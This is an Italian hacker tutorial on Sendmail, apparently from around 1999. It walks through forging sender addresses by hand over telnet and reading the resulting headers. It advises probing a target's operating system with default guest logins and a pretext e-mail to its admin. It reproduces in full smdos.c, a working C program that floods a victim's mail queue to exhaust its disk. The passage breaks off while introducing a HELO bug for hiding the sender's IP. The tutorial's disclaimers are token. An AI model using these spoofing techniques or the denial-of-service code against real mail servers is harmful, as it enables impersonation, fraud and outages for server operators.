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Linux: usare SendMail

Contenuti
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-Sendmail? Huh?
* Cos'è Sendmail?
* Per cosa è usato?
* Perchè i dovrei voler conoscere Sendmail?
-Come creo email fasulle che sembrano vere?
* Intendi che posso mandare e-mail da bgates@microsoft.com or bclinton@whitehouse.org?!
* E' possibile creare una e-mail al 100% autentica?
* Come posso imparare i comandi del rude Sendmail da solo?
* Ma se sono lento? Me li puoi insegnare per favore?
* Come posso seguire le tracce delle false email malfatte?
* Come posso seguire le tracce delle false email più sofisticate?
* Posso essere beccato?
* Sarò beccato?
-Hackerare un server? Attraverso Sendmail?!
* Posso realmente hackerare un host che esegue Sendmail?
* Perchè Sendmail è chiamato "Il daemon più ricco di bug della terra" comunque?
* Ok, fantastico, adesso come posso farlo?
* Puoi dirmi di più circa i vari buchi nella sicurezza di Sendmail?
* Dove posso trovare più buchi sulla sicurezza di Sendmail?
* Come posso sapere quale versione di Sendmail ha l'host obbiettivo?
* Perchè dovrei curarmene comunque?
* Come posso usare gli archivi BugTraq per trovare i buchi che sto cercando?
* Posso essere acchiappato?
* Sarò acchiappato?
* note finali
-Okay, io posso hackerare un host che esegue Sendmail. Come lo posso fare?
* Un DoS(29) locale in tutte le versioni di Sendmail successive la 8.9.3
* Bug nel comando HELO di Sendmail
* Bug gigante in Sendmail 8.8.4

* Note finali
-Angolo dei Newbies
* Cos'è un daemon?
* Cos'è una porta?
* Cos'è un service?
* Cos'è un daemon banner?
* Cos'è un timeout (in termini di computer)?
* Cos'è TCP e come lavora?
* Cos'è UDP e come lavora?
* Cos'è ICMP e come lavora?
* Cos'è un indirizzo IP?
* Cos'è un hostname?
* Come scoprire quali sono i server di posta del tuo ISP?
* Cos'è un portscanner?
* Cos'è un services scanner?
* Cosa/Chi è un root?
* Cos'è un ampiezza di banda?
* Cos'è un programma client?
* Cos'è un server DNS?
* Cos'è telnet (il telnet daemon e il programma telnet)?
* Cos'è un interprete dei comandi?
* Cos'è uno shell account?
* Cos'è un sysadmin?
* Cos'è l'iper testo?
* Cos'è un RFC?
* Cos'è interNIC?
* Cos'è un sotto dominio (e quanto costa un dominio veramente)?
* Cos'è SSH?
* Cos'è una mailing list moderata/bacheca messaggi?
* Cos'è un attacco DoS?
* Cos'è DUN?
* Cos'è un account dial-up?
* Cos'è un password file di Unix?
* Cos'è un thread?
-Appendice A: falsi daemons
* Falso daemon di Sendmail
* Falso daemon di telnet
-Appendice B: lettere deviate
* Come poso deviare la mia posta?
* Come questo mi può aiutare?
-Appendice C: falsificare l'IP del mittente
* Come posso falsificare il mio IP nell'header dell'e-mail?
* Dove posso leggere di più su questo genere di cosa?
-Appendice D: replay-to
* Cosa fa l'opzione replay-to?
* Come uso ciò?
-Appendice E: CC e BCC
* Cosa fanno questi comandi?
* Come li uso?

 

Sendmail? Huh?
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Sendmail è un daemon(1) che aspetta connessioni sulla porta(2) 25. E' usato per inviare la posta in uscita.
Per esempio: il tuo email provider (probabilmente il tuo ISP (Internet Service Provider) probabilmente usa due servers (a meno che non è un account di posta basato sul web come Hotmail.com):
1) mail.boring-ISP.net (probabilmente porta 110): per la posta in entrata
2) smtp.boring-ISP.net (probabilmente porta 25): per la posta in uscita
Il più delle volte i servers di posta sono abbastanza simili a questo, ma gli indirizzi variano a seconda dei differenti ISP.
Mail.boring-ISP.net potrebbe richiedere un username e una password così che le persone non sono capaci di leggere la tua posta, così saltiamo questo (potrei discutere il cracking di queste password in un altro tutorial, ma ricorda, io ti sto insegnando queste cose così che tu
conoscerai come lavorano i malicious crackers e come non cadere nei loro trucchi, non per farti infrangere la legge e danneggiare gli altri, poi vedi tu questo è un paese libero... =) Adesso tanto sorprendente quanto potrebbe suonare, smtp.boring-ISP.net non richiederà una
password o ogni altro tipo di identificazione.
Se tu ti colleghi tramite telnet(19) in smtp.boring_ISP.net sulla porta 25 e digiti i comandi esatti, sarai capace di mandare e-mail false. Interessante... Huh?
Adesso la parte più fantastica è che puoi hackerare un server o almeno farlo cadere lanciando Sendmail, poichè Sendmail contiene un mucchio di merda di bugs a buchi nella sicurezza.


Come posso creare e-mail fasulle che sembrano vere?
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Come menzionato nel capitolo precedente, mandare e-mail non richiede che tu abbia un account sulla macchina dalla quale stai mandando l'e-mail (il server per la posta, non il tuo computer). Tutto quello di cui hai bisogno è conoscere l'indirizzo IP(9) / hostname(10) del server della posta e i comandi di Sendmail. Presumiamo che tu conosci l'IP/hostname del tuo obbiettivo. Se tu non conosci questi importanti
dettagli, per favore vai a Come scoprire(11). Adesso procediamo con questo. Questa volta, diversamente dai precedenti tutorials, "imparerò" tutto da capo e ti descriverò e guiderò attraverso l'intero processo di apprendimento e ad usare quello
che hai imparato.Okay, cominciamo.
Il nostro obbiettivo per oggi è smtp.someone.it sulla porta 25.
Primo, collegati tramite telnet in quella porta digitando "telnet smtp.someone.it 25" (senza le virgolette) su uno standard Unix, o c:\windows\telnet.exe o dal tuo telent preferito digitando smtp.someone.it nel campo host e 25 nel campo della porta, o eseguendo il telnet preferito da XWIndows (un interfaccia grafica per Unix. Se tu sei bravo abbastanza da eseguire una qualche versione di Unix non ti dovrebbe risultare difficile trovarne una. Se tu non gradisci il telent di default puoi sempre andare su www.linuxberg.com e prenderne uno) e digitando i dettagli corretti (host e porta). Nota su VT: ti potrebbe essere richiesto il tipo di terminale durante il processo di connessione. Qualcosa con VT e alcuni numeri dopo hmmm.....VT sta per Virtual Terminal. Poichè ci sono alcuni tipi di terminale (tutti i generi di monitor, vecchi terminali di stampa, ecc..) ti verrà chiesto di sceglierne un tipo. VT100 dovrebbe andare bene per molti.
Nota circa lo shell account(21): se tu non stai eseguendo Unix e vorresti usare strumenti di Unix su un sistema Unix mentre lavori, connettiti tramite telnet a nether.net sulla porta 23, accedi come newuser e ottieni uno shell account gratuito. Se tu sei un utente maggiormente dei programmi per windows (io uso la roba di windows quando lavoro da windows, eccetto in certe condizioni in cui io veramente ho bisogno di Unix e non ho voglia di resettare e riavviare. In questo caso, mi procuro uno shell account così che posso usare le cose di Unix da window) vai avanti (le cose lavoreranno più velocemente poichè i programmi sono attualmente collocati sulla tua macchina, non su qualche computer distante che esegue uno shell account), ma io ti raccomando di prendere uno shell account su nether.net (in fatti loro ti insegneranno un sacco di cose fantastiche su Unix quando ti registrerai). Nota sulla connessione telnet da machintosh: machintosh non ha un programma telnet in dotazione. Comunque, ne puoi scaricare uno da www.ncsa.edu/SDG/Software/MacTelnet/ (grazie a little_v per questo!).

Adesso, vediamo cosa otteniamo dopo che ci siamo connessi con telnet a smtp.someone.it:25 (in questo
caso, il carattere : sta per 'sulla porta').

220 alpha.someone.it ESMTP Sendmail 8.9.3/8.8.6; thu, 8 Jul 2000 21:46:01 +0000 (GMT).

AHA! Questo è... questo è... COSA DIAVOLO E' QUESTA COSA? Questo, amico mio, è un daemon banner(4), e ci ha appena dato tonnellate di preziosi pezzi di informazione! Normalmente, queste informazioni sono destinate a un programma client(16) per determinare quale versione
di Sendmail il bersaglio sta eseguendo e come comunicare con esso (il programma dovrebbe sapere che, per esempio, ogni versione di Sendmail inferiore alla 7.0.0 usa il comando 'halb' invece del comando 'blah', ecc..). Questo daemon banner è anche una grande cosa per gli hackers e i crackers, poichè possiamo determinare quale versione del nostro obbiettivo è eseguita. Dopo quando discuteremo su come hackerare il server, queste informazioni saranno estremamente preziose. Okay, analizziamo cosa abbiamo...
220... non sappiamo che significa per ora...
alpha.someone.it niente fortuna, non può fare niente così...
ESMTP...hmm... SMTP sta per Simple Mail Transfer Protocol. E' il protocollo(18) usato dai clients di posta per comunicare con i daemons Sendmail, e questo è quello che stiamo provando a imparare proprio ora. ESMTP è Extended SMTP. E' più o meno lo stesso di SMTP, solo che contiene alcuni comandi in più. Lasciamo stare questo per il momento.
Sendmail 8.9.3/8.8.6 - AHA! Ecco qualcosa di interessante. Sappiamo la versione del daemon Sendmail!
Ricordati questo, ci aiuterà durante il prossimo capitolo (hacking in un server che esegue Sendmail).
Il resto è immondizia (ora,data, ecc..).
Okay, andiamo avanti... come posso comunicare con questa cosa?
Er... proviamo a digitare 'help' (senza le virgolette). Oh, approposito, è normale non vedere quello che
digiti quando comunichi con Sendmail poichè non ti rimanda indietro i tasti digitati. Devi selezionare
"local echo" sul tuo programma telnet per poter vedere cosa digiti.

214- This is Sendmail version 8.9.3
214- Topics:
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB ETRN DSN
214- For more info use "HELP"
214- To report bugs in the implementation send email to
214- sendmail-bugs@sendmail.org.
214- For local information send email to Postmaster at your site.
214- End of HELP info

Weeeee! Questo è grande!!!
A questo punto avresti dovuto supporre che questo numero (il 220 nel daemon banner e il 214 qui sopra) è in realtà un 'tipo del messaggio'. Esso esprime il tipo del messaggio che ricevi. Ogni tipo di messaggio (errore a causa di questo, errore a causa di quello, aiuto per questo, messaggio di conferma per quello ecc..) ha il suo proprio numero. Okay, andiamo avanti. Proviamo a digitare 'help helo'.

214- HELO
214- Introduce yourself
214- End of HELP info

Visto? Io te l'avevo detto. 214 è il numero del tipo di messaggio usato per i messaggi di help. Okay, in questo modo tu puoi praticamente insegnarti cosa fa ogni comando di Sendmail. Fermati subito, leggi tutti i messaggi di help e poi continua. E' importante che tu impari come imparare le cose da solo. Potresti vedere alcune note riguardanti la parola RFC(24) e alcuni numeri. Puoi trovare RFC a
www.linuxberg.com. Nota su ESMTP: ricordi quell'ESMTP di cui abbiamo parlato prima? Potrai ottenere un buon indizio su cos'è ESMTP leggendo i messaggi di help. Si, sto provando a obbligarti a leggerli... fallo! Essi contengono tonnellate di fantastiche informazioni tanto per i newbies che per i professionisti. Okay, presumo (e spero) che tu abbia finito di leggere tutti quei messaggi di help. Adesso andiamo avanti. Per primo abbiamo bisogno di indicare un mittente. Facciamo questo digitando
'MAIL FROM: <bgates@microsoft.com>'
(rimuovi le virgolette e sostituisci l'indirizzo fasullo con quello che preferisci, ma lascia < e >).

Il mail server dovrebbe rispondere on questo messaggio:

250 bgates@microsoft.com... Sender ok

Poi digitiamo 'RCPT TO: <vitt@lamer.com>' (sostituendo vitt@lamer.com con l'indirizzo a cui vogliamo inviare l'e-mail)

Dovremmo ottenere:

250 vitt@lamer.it... Recipient ok

Puoi aumentare i destinatari semplicemente ripetendo l'operazione più volte, logicamente con diversi destinatari.

Adesso, pensiamo al corpo del messaggio. Digita 'data' per incominciare a scrivere il corpo del messaggio.

354 Enter mail, end with "." on a line by itself

Adesso digitiamo un pò di cose...

Subject: fake mail (nota circa questa linea: con questa linea tu puoi determinare quale soggetto vuoi dare al tuo messaggio).
Salve. Questa è una e-mail falsa.
Sono annoiato, preferirai fare qualcosa di più serio...
Datemi qualcosa da HACKERARE!!!!
.

Adesso otteniamo questo

250 CAA15133 Message accepted for delivery

Adesso ti starai chiedendo cosa diavolo è quella sigla dopo 250. Questa è chiamata message ID (o MID). E' solo uno stupido numero, ma lo useremo in seguito... non tormentare la tua preziosa testa per questo. Adesso, se tu sei se tu fossi il ricevente avresti un falsa e-mail attendibile al 100%? O no?

Diamo un'occhiata a cosa otterrà il ricevente...
Hmmmm... sembra un messaggio comune. Almeno per un utente comune...
Diamo un occhiata alle proprietà.
Le proprietà sono alcune linee che arrivano con ogni indirizzo email. La maggior parte dei client di posta attuali mostrano solo le parti più semplici delle proprietà (mittente, soggetto, data, ecc..), ma adesso abbiamo bisogno delle proprietà complete.
Su Netscape Messanger per mostrare le proprietà vai su View ==> Headers ==> All. Su eudora si fa clickando sul bottone che mostra la didascalia "blah blah blah" quando lasci il puntatore del mouse su di esso per un paio di secondi. Compuserve automaticamente mostra le proprietà complete. Su outlook, fai click col tasto destro del mouse sul messaggio, scegli proprietà e poi dettagli.
Su pine, dovresti avere un opzione da qualche parte nello schermo di configurazione che ti lascia scegliere quale tipo di header vuoi vedere (intero o breve). Adesso diamo uno sguardo alle proprietà, fatto?

Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13])
by cmx.netvision.net.il (8.9.3/8.9.3)
with ESMTP id CAA15313 for victim@victim.com>; Sat, 10 Jul 1999 02:49:59 +0000 (GMT)
From: bgates@microsoft.com
Received: from some.hostname.crap.com (some.hostname.crap.com [62.0.146.225])
by alpha.someone.com (8.9.3/8.8.6)
with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Date: Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Message-ID: <199907092355. CAA15313@alpha.someone.com>
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com [62.0.146.225]
didn't use HELO protocol
Subject: Fake mail
Status:
X-Mozilla-Status: 8001
X-Mozilla-Status2: 00000000
X-UIDL: 3752da3b000002ff

Yeahhh! Guarda tutti questi numeri, lettere e cose incomprensibili!
Incominciamo da sopra:
Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by cmx.netvision.net.il (8.9.3/8.9.3) with ESMTP id CAA15313 for victim@victim.com>; Sat, 10 Jul 1999 02:49:59 +0000 (GMT) così l'email è stata ricevuta da alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]).
Che significa? Una piccola verifica sul database di InterNIC(25) (digitando 'whois alpha.netvision.net.il' senza le virgolette su un sistema Unix o su SamSpade per windows scaricabile a www.samspade.org) rivela che è posseduta da someone.com. Questo è una sorta di sub-server che essi usano per mandare posta.
Lasciamolo da parte non è importante per noi ora. La parte (alpha.netvision.net.il [194.90.1.13]) mostral'hostname(10) e l'indirizzo IP(9) del server dal quale è stata mandata l'e-mail.
Ohh, ohh, aspetta! La mail non dovrebbe essere stata mandata da microsoft.com? Mi spiego, il mittente è bgates@microsoft.com! Se noi avessimo mandato l'email da microsoft.com invece che da someone.com ciò non sarebbe dovuto accadere. Sarebbe sembrata una normale email...da bill gates... bene, almeno così alla lontana.
Comunque, il resto è semplicemente il MID (di cui ci occuperemo in seguito) e la data del messaggio (la data di spedizione) in accordo con il server dal quale è stato mandato. La parte +0000 (GMT) significa che è stato mandato da una zona che ha il fuso orario di Greenwich. Se fosse stato mandato, per esempio, dalla zona di tempo +0200 ciò avrebbe significato che questo fuso orario è attualmente quello di Greenwich più due ore. Cerca la tua zona di fuso orario così che sarai capace di spostare la zona di tempo e quando è stato mandato il messaggio nel tuo orario. Adesso, ci sono cose più importanti.

From: bgates@microsoft.com

Bene, suppongo che questa linea sia ovvia, andiamo avanti.

Received: from some.hostname.crap.com (some.hostname.crap.com [62.0.146.225]) by alpha.someone.com
(8.9.3/8.8.6) with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300 (IDT)

Okay, adesso questo è veramente interessante. Qui abbiamo l'hostname e l'IP del mittente. Nota circa l'hostname: un utente dial-up(31) avrà un lungo e contorto hostname. Per esempio: il mio hostname adesso (almeno quando stavo scrivendo queste cose) era RAS4-p97.hfa.netvision.net.il . Netvision.net.il è il mio ISP, e il resto è per lo più merda (presta particolare attenzione a 'hfa'. Hfa sta per Haifa, che è la mia città. Ciò significa che mi sto connettendo tramite il server di Netvision di Haifa. Visto? L'hostname può essere interessante).
A questo punto ti devi essere accorto che l'hostname che vediamo non proviene certamente da microsoft.com, e che il server per la posta che ha mandato questo messaggio non è esattamente microsoft.com o un sub-domain(26) di microsoft, il che mostra che quest'e-mail è chiaramente falsa. Un'altra nota circa l'hostname: qualche volta tu potresti non avere un hostname, ma tu avrai sempre un indirizzo IP. Puoi trovare l'hostname dell'IP (la maggior parte degli IP ha un hostname) digitando 'nslookup indirizzo-ip' senza le virgolette su un sistema Unix o andando su www.samspade.org e usando il loro programma di ricerca DNS(17). Se tu ancora non riesci a ottenerlo prova un whois.
Per superare questo problema, devi fare due cose:
1) Mandare quest'e-mail dal server Sendmail di microsoft.
2) Mandare quest'e-mail da un account che è connesso al web tramite microsoft. Se non puoi averne uno,
ciò mostrerà chiaramente nelle proprietà che la mail non è stata mandata da microsoft.

Nota: un bel trucco per infilare qualcuno: se il tuo ISP è bla.com, puoi mandare ai tuoi amici un e-mail da admin@bla.com che sembrerà al 100% autentica!

Comunque, i prossimi pochi caratteri ci daranno il MID (Message ID), in aggiunta agli altri pezzi di informazioni. Avevo promesso che avremmo trattato del MID, non è vero? Se tu pensi che qualcuno ti sta giocando uno scherzo facendoti credere di essere qualcun'altro, manda un e-mail a abuse@tuo.ISP.it oppure abuse@server.che.contiene.il.MID.com. Per sapere quale server contiene il MID, abbiamo bisogno di saltare un pò di linee (due attualmente - time e data) e andare diritto a questo: Message-ID:

Message-ID: <199907092355. CAA15313@alpha.someone.com>

Aha! Guarda questi interessanti numeri! E osserva questo: CAA15313@alpha.someone.com! Questo significa che tutte le informazioni riguardanti il MID sono contenute presso alpha.someone.com! Mandiamo un email a abuse@alpha.someone.com e diciamo loro che noi pensiamo di aver ricevuto un'email falsa, includendo tutte le proprietà. La prossima cosa che faremo sarà la stessa con l'ISP del mittente
(nel nostro caso, il mittente è someone.hostname.crap.com [62.0.146.225], che significa che probabilmente il suo ISP è crap.com).

Adesso passiamo alla prossima linea:

X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com [62.0.146.225] didn't use HELO protocol

Dannazione! Sapevo di aver dimenticato qualcosa! Adesso facciamo tutto ancora una volta, ma questa volta scriveremo HELO microsoft.com all'inizio.

HELO microsoft.com

Otteniamo questo:

250 smtp.netvision.com Hello some.hostname.crap.com [62.0.146.225], pleased to meet you

Il resto è esattamente come l'ultima volta (mittente,rcpt to, ecc..). Adesso vediamo cosa avrebbe ricevuto
vitt@lmer.it .

Aha! Nessuno X-Authentication-Warning!

Note finali
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Spero che questo capitolo ti sia piaciuto. Adesso hai imparato come fare scherzi inoffensivi e legali ai tuoi amici, come scoprire email false e come è facile acchiapparti se fai cose illegali. Oh, a proposito, c'è un modo per nascondere il tuo IP/hostname quando falsifichi e-mail...
per maggiori informazioni leggi la seconda sezione nel capitolo 'Okay, io posso hackerare un host che esegue Sendmail. Come lo posso fare?'.

Hackerare un server? Attraverso Sendmail?!
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Yeah, sicuro, perchè no? Mi spiego, OGNI servizio(3) è vulnerabile a qualche attacco. Per questo io raccomando di eseguire quanto meno servizi possibile sul tuo computer. Ma il più vulnerabile di tutti è Sendmail (per questo è chiamato 'il daemon più buggato sulla terra' o 'il daemon più buggato sul pianeta'). Un membro di una mailing list una volta mi disse che non poteva proprio aspettare di leggere il tutorial su Sendmail (questo accadde prima che rilasciassi questo manuale) e che egli stesso eseguiva Sendmail sul suo computer. Eseguire Sendmail su un pc è inutile e pericoloso. Se il tuo computer non ha la funzione di server per la posta, non c'è alcuna ragione per cui tu dovresti eseguire Sendmail (a meno che tu non voglia che le persone mandino la posta da tuo-account@tuo.ip invece di tuo-account@tuo.ISP.it . Nota circa tuo-account: nel primo indirizzo, tuo-account è il nome del tuo username o del tuo computer (gli utenti di Unix dovrebbero sapere di cosa sto parlando). Nel secondo indirizzo tuo-account è il tuo username del tuo ISP).
Nota: le informazioni in questo capitolo possono anche essere usate per hackerare server, o vice versa per proteggere il tuo server. Per favore non infrangere la legge, o almeno non spifferate il mio nome durante le indagini... =)

Okay. la prima cosa che dobbiamo fare per hackerare un server attraverso un servizio specifico (o per migliorarne la sicurezza) è sapere la versione del servizio. Questo può essere facilmente fatto vedendo il daemon banner(4). Supponiamo che abbiamo sottocchio un computer che esegue Sendmail 8.8.3 (che era abbastanza vecchio quando questo tutorial è stato scritto, il che significa che dovrebbe avere un mucchio di bugs. Sendmail è upgradato principalmente quando un nuovo bug viene scoperto. In fatti, ogni cosa eccetto la sicurezza del daemon è raramente cambiata durante gli upgrades).
La prossima cosa che andremo a determinare è l' OS (Operating System) che esegue questo daemon. Se il daemon banner non ce lo dirà, il daemon Telnet(19) lo farà. Prima collegati tramite telnet alla porta 23 e incrocia le dita. Se c'è un daemon su quella porta, è sicuramente il daemon telnet, e probabilmente ti darà il nome e la versione dell'OS. Se no, puoi sia:
1) Provare a cercare per un guest account (username: guest password:guest, username:newuser password:newuser), poichè alcuni sistemi danno certe informazioni solo dopo che ti sei loggato.
2) Mandare un e-mail a admin@tuo-obbiettivo.it e chiedergli (io consiglio aprendo un mailbox su uno di questi servizi di mailbox gratuiti come hotmail e mandando da lì, in quanto alcuni admnin(22) potrebbero avere qualche sospetto...)
3) Provare ad andare sul sito del tuo bersaglio. Questo genere di informazioni potrebbe esserci, qualche volta (mahhh...)

Se non hai trovato ancora l'OS, non temere! Siamo ancora capaci di fare un fantastico hackeraggio senza quest'informazione, ma tuttavia questa informazione potrebbe venirci in aiuto, così fai di tutto per ottenerla!

La prossima cosa, navigherai su alcuni database online finchè avrai trovato il buco che stai cercando. Prima di tutto ti mostrerò i più grandi e raccomandati database online, e poi ti insegnerò come cercarli, oltre ad alcuni concetti di valore e parole che ti debbono essere familiari.

Packet Storm Security
+++++++++++++++++++++++++++++++++++
URL:http://packetstorm.security.com
Uno dei più grandi database online per informazioni riguardanti la sicurezza. Io raccomando di andarci almeno una volta al giorno e leggere la sezione 'New Files Today', che tu stia cercando un specifico buco o no.
L'archivio fu fondato da Ken Williams e ottiene centinaia di migliaia di visite la settimana.
E' stato recentemente trasferito nella proprietà di Kroll-O-Nagra (www.security.com).

Security Focus
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URL:http://www.securityfocus.com
Un altro database completo. Aggiornato giornalmente. Qui i ragazzi non dormono mai!

BugTraq
++++++++++++++++++++++++++++++++++++
URL: ospitato da Security Focus, precedentemente ospitato da Netspace BugTraq è una delle migliori mailing list. La lista è moderata, il che significa che se tu trovi un nuovo buco nella sicurezza, puoi solo mandare il tuo messaggio al moderatore, Aleph1 (aleph1@undergound.org). Aleph1 filtra tutta la spazzatura, i messaggi dei lamers, e i vecchi bugs e spedisce solo le cose utili alla lista.
Io consiglio di segnarsi a www.securityfocus.com. Puoi anche solo cercare nel loro archivio, che è a proposito il mio database preferito, andando a securityfocus.com e cercando un link chiamato 'search'.

Ricerca
*********
Se stiamo cercando un bug in Sendmail 8.8.3, dobbiamo digitare le seguenti parole chiave "sendmail 8.8.3" (senza le virgolette). Se erchiamo qualcosa di specifico, come un attacco locale DoS(29) contro una qualsiasi versione di Sendmail, useremo le seguenti parole hiave:
'local DoS Sendmail' ecc...

Ricerca Packet Storm
++++++++++++++++++++++++
Packet Storm dovrebbe avere un motore di ricerca da qualche parte (Ken cambia la grafica ogni tanto quindi non posso darti l'esatta posizione). Puoi dividere i risultati della ricerca che otterrai in due categorie: testi e programmi.
Per esempio: hai cercato un buco specifico e hai ottenuto un paio di files di testo e un paio di programmi. I files di testo spiegano i bug e come sfruttarli, mentre i programmi usano il buco per riuscire ad entrare. Questi programmi sono spesso chiamati 'exlploits' e generalmente sono costituiti da un codice sorgente invece che da un file binario. Lasciatemi spiegare: un file binario è qualsiasi file non fatto di testo. Files eseguibili sono in genere files binari. Adesso, nel nostro caso, i programmi sono dati come codici sorgenti invece che binari. Il codice sorgente si converte in un eseguibile binario (eccetto i codici sorgenti scritti in Perl, che possono essere eseguito sotto forma di codice se si ha il programma giusto). Comunque, questi programmi sono dati come codici sorgente per darti la possibilità di capire come lavorano e non di eseguirli ciecamente.

Ricerca Security Focus
+++++++++++++++++++++++++
Security Focus offre informazioni più organizzate. Invece di vari pezzi di informazioni, security focus offre articoli. Questi includono l'esatta definizione del bug, dove e quando si può verificare,
come risolverlo ecc.. . L'unico difetto di security focus è che è più piccolo degli altri database.

BugTraq
++++++++++
Ah... il mio database preferito. Quando le persone inviano qualche messaggio a bugtraq circa un buco nella sicurezza che hanno trovato, le altre persone possono rispondergli e condividere il loro punto di vista. Per esempio: se il difetto persiste anche sul loro computer, come risolvere il bug in vari modi, cosa causa il bug in primo luogo ecc.. . Puoi compilare un database con tutte le informazioni necessarie semplicemente leggendo un paio di lettere.

Venire acchiappati
*********************
Se stai progettando di fare qualcosa di cattivo, per favore non farlo. Puoi essere acchiappato.
Crackers migliori di te già sono stati acchiappati. Non essere stupido.

Okay, io posso hackerare un host che esegue Sendmail. Come lo posso fare?
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Ho fatto una simpatica lista di alcuni buchi nella sicurezza riguardanti Sendmail giusto per dartene un idea.

Un DoS(29) locale in tutte le versioni di Sendmail superiori alla 8.9.3 (preso da packet storm)
***********************************************************************
Date: Sat, 3 Apr 1999 00:42:56 +0200 From: "[iso-8859-2] Micha³ Szymañski"
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail

Ciao gente,

Questo attacco queue filling DoS in sendmail è abbastanza pericoloso. Ma una buona politica di sicurezza (come la mia) preventiverà attacchi che facciano queste cose. Files di controllo (in /var/spool/mqueue) creati con 'sendmail -t' sono posseduti da root.attacker's_group; cambia le quote per il gruppo 'attacker's_group' sul file system contenete il directory /var/spool/mqueue, e il tuo host non sarà più vulnerabile.
Ancora più pericolosi sono gli attacchi queue filling DoS remoti. Se ti è consentito ritrasmettere, puoi usare il programma mostrato sotto: smdos.c; riempirà abbastanza velocemente la partizione sul disco dove risiede /var/spool/mqueue. Dovresti notare un incremento di LA durante l'attacco; in contrasto con l'attacco DoS locale, i files di controllo creati da smdos.c sono posseduti da root, così è più
difficile prevenire attacchi da esso;

Non dimenticare di cambiare la definizione di BSIZE (in smdos.c) all'appropriata limitazione della grandezza del messaggio host della vittima (MaxMessageSize option); puoi anche incrementare la definizione di MAXCONN.
smdos.c:

------+++++++++++++--------
/*
By Michal Szymanski <siwa9@box43.gnet.pl>

Sendmail DoS (up to 8.9.3);

Sat Apr 3 00:12:31 CEST 1999
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

#undef VERBOSE /* define it, if MORECONN is undefined */

#define MORECONN

// #define RCPT_TO "foo@ftp.onet.pl"

#define RCPT_TO "foo@10.255.255.255"

#ifdef MORECONN
#define MAXCONN 5
#endif

#define BSIZE 1048576 /* df* control file size */
#define PORT 25

char buffer[BSIZE];
int sockfd,x,loop,chpid;

void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}

void say(char *what) {

if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif

bzero(buffer,BSIZE);

usleep(1000);

if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}

int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];

fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");

if (argc<2) usage(argv[0]);

#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
(unsigned char)host->h_addr[1],
(unsigned char)host->h_addr[2],
(unsigned char)host->h_addr[3]);

}
else sprintf(hostaddr,"%s",hostname);

#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}

------+++++++++++++------

Bug nel comando HELO di Sendmail (preso da rootshell.com)
********************************
Nota: questo non ti darà l'accesso root(14), ma è lo stesso abbastanza figo. In fatti ti permette di nascondere il tuo IP/hostname quando invii una e-mail falsa!!!

[http://www.rootshell.com]
Noi avevamo questo exploit da gennaio ma non l'abbiamo archiviato finchè tutti hanno implementato una versione stabile di Sendmail 8.9.x. (e perchè l'ultima cosa che voglio è aiutare gli spammers) E' stato fatto cos' su Bugtraq per evitare ulteriori problemi.

--Rootshell 5/28/98

Date: Fri, 22 May 1998 12:36:54 +0300
From: Valentin Pavlov
Subject: about sendmail 8.8.8 HELO hole

Io ritengo che questo sia abbastanza vecchio (10 gennaio 1998) ma ancora...
Ho trovato un semplice modo per nascondere l'IP del mittente. Il metodo per nascondere l'IP è descritto sotto. Adesso, se vogliamo tenere traccia di simili tentativi di exploit, dobbiamo compilare sendmail 8.8.8 con un PICKY_HELO_CHECK definito in conf.h:

#define PICKY_HELO_CHECK 1

